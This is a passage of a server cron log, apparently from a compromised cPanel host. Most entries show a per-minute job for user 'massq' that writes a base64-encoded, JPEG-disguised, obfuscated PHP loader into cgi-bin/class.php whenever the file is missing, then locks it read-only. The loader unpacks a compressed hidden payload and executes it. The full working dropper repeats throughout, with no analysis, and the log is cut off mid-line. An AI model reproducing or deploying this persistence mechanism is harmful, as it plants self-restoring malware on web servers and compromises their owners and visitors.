Nov 10 09:36:01 server CROND[28011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:37:01 server CROND[28816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:38:01 server CROND[29617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:39:01 server CROND[30445]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 09:39:01 server CROND[30446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:40:01 server CROND[31500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:40:01 server CROND[31499]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:40:01 server CROND[31501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:40:01 server CROND[31502]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 09:41:01 server CROND[32454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:42:01 server CROND[827]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:42:01 server CROND[828]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 09:43:01 server CROND[1654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:44:01 server CROND[2472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:45:01 server CROND[3422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:45:01 server CROND[3421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:45:01 server CROND[3423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:46:01 server CROND[4308]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:47:01 server CROND[5129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:48:01 server CROND[5859]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:49:01 server CROND[6685]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 